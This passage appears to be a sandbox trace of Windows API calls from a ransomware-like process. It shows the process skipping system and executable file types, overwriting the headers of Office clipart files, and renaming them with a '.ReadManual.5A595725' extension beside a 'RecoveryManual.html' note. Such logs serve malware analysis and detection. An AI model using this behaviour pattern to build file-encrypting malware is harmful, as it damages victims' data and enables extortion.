Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" [0266.364] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.ReadManual.5A595725" [0266.364] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.ReadManual.5A595725") returned 87 [0266.364] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38703311337) returned 1 [0266.364] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf")) returned 0x20 [0266.365] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.365] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=18728) returned 1 [0266.365] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4928, lpName=0x0) returned 0x184 [0266.365] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.365] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.366] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.367] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.367] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4928) returned 0x2f0000 [0266.368] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.368] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38703653892) returned 1 [0266.368] CloseHandle (hObject=0x184) returned 1 [0266.368] SetSecurityInfo () returned 0x57 [0266.368] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.368] CloseHandle (hObject=0x194) returned 1 [0266.368] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1424, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105496.WMF", cAlternateFileName="")) returned 1 [0266.368] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105496.WMF" | out: lpString1="J0105496.WMF") returned="J0105496.WMF" [0266.368] lstrcmpiW (lpString1="J0105496.WMF", lpString2="RecoveryManual.html") returned -1 [0266.368] StrStrIW (lpFirst="J0105496.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.368] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.368] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.368] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.368] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.368] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.368] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.368] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.368] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.368] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.368] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.369] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.369] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.369] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.369] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.369] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" [0266.369] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.ReadManual.5A595725" [0266.369] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF.ReadManual.5A595725") returned 87 [0266.369] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38703756838) returned 1 [0266.369] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf")) returned 0x20 [0266.369] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105496.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.369] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5156) returned 1 [0266.369] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1424, lpName=0x0) returned 0x184 [0266.369] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.370] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.370] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.372] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.372] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1424) returned 0x2f0000 [0266.372] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.372] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38704085213) returned 1 [0266.372] CloseHandle (hObject=0x184) returned 1 [0266.372] SetSecurityInfo () returned 0x57 [0266.372] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.372] CloseHandle (hObject=0x194) returned 1 [0266.372] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1560, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105502.WMF", cAlternateFileName="")) returned 1 [0266.372] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105502.WMF" | out: lpString1="J0105502.WMF") returned="J0105502.WMF" [0266.372] lstrcmpiW (lpString1="J0105502.WMF", lpString2="RecoveryManual.html") returned -1 [0266.373] StrStrIW (lpFirst="J0105502.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.373] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.373] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.373] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.373] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.373] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.373] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.373] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.373] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.373] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.373] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.373] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.373] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.373] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.373] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.373] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" [0266.373] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.ReadManual.5A595725" [0266.373] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.ReadManual.5A595725") returned 87 [0266.373] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38704189157) returned 1 [0266.373] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf")) returned 0x20 [0266.374] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.374] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5472) returned 1 [0266.374] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1560, lpName=0x0) returned 0x184 [0266.374] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.375] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.375] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.377] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.377] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1560) returned 0x2f0000 [0266.377] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.377] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38704585791) returned 1 [0266.377] CloseHandle (hObject=0x184) returned 1 [0266.377] SetSecurityInfo () returned 0x57 [0266.377] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.377] CloseHandle (hObject=0x194) returned 1 [0266.377] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105504.WMF", cAlternateFileName="")) returned 1 [0266.377] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105504.WMF" | out: lpString1="J0105504.WMF") returned="J0105504.WMF" [0266.377] lstrcmpiW (lpString1="J0105504.WMF", lpString2="RecoveryManual.html") returned -1 [0266.378] StrStrIW (lpFirst="J0105504.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.378] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.378] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.378] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.378] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.378] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.378] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.378] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.378] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.378] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.378] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.378] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.378] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.378] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.378] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.378] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" [0266.378] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.ReadManual.5A595725" [0266.378] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF.ReadManual.5A595725") returned 87 [0266.378] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38704682428) returned 1 [0266.378] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf")) returned 0x20 [0266.379] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105504.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.379] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4148) returned 1 [0266.379] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1034, lpName=0x0) returned 0x184 [0266.379] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.380] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.380] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.381] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.382] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1034) returned 0x2f0000 [0266.382] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.382] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38705065013) returned 1 [0266.382] CloseHandle (hObject=0x184) returned 1 [0266.382] SetSecurityInfo () returned 0x57 [0266.382] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.382] CloseHandle (hObject=0x194) returned 1 [0266.382] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105506.WMF", cAlternateFileName="")) returned 1 [0266.382] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105506.WMF" | out: lpString1="J0105506.WMF") returned="J0105506.WMF" [0266.382] lstrcmpiW (lpString1="J0105506.WMF", lpString2="RecoveryManual.html") returned -1 [0266.382] StrStrIW (lpFirst="J0105506.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.382] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.382] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.382] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.382] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.382] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.382] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.383] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.383] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.383] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.383] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.383] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.383] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.383] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.383] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.383] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" [0266.383] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.ReadManual.5A595725" [0266.383] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF.ReadManual.5A595725") returned 87 [0266.383] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38705181760) returned 1 [0266.383] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf")) returned 0x20 [0266.383] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.383] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2912) returned 1 [0266.384] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb60, lpName=0x0) returned 0x184 [0266.384] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.384] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.384] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.386] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.386] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb60) returned 0x2f0000 [0266.386] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.386] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38705495302) returned 1 [0266.386] CloseHandle (hObject=0x184) returned 1 [0266.386] SetSecurityInfo () returned 0x57 [0266.386] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.386] CloseHandle (hObject=0x194) returned 1 [0266.386] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7c44, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0105520.WMF", cAlternateFileName="")) returned 1 [0266.387] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0105520.WMF" | out: lpString1="J0105520.WMF") returned="J0105520.WMF" [0266.387] lstrcmpiW (lpString1="J0105520.WMF", lpString2="RecoveryManual.html") returned -1 [0266.387] StrStrIW (lpFirst="J0105520.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.387] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.387] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.387] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.387] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.387] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.387] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.387] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.387] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.387] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.387] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.387] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.387] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.387] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.387] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.387] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" [0266.387] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.ReadManual.5A595725" [0266.387] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF.ReadManual.5A595725") returned 87 [0266.387] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38705591016) returned 1 [0266.398] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf")) returned 0x20 [0266.398] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105520.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105520.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.399] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31812) returned 1 [0266.399] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c44, lpName=0x0) returned 0x184 [0266.399] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, 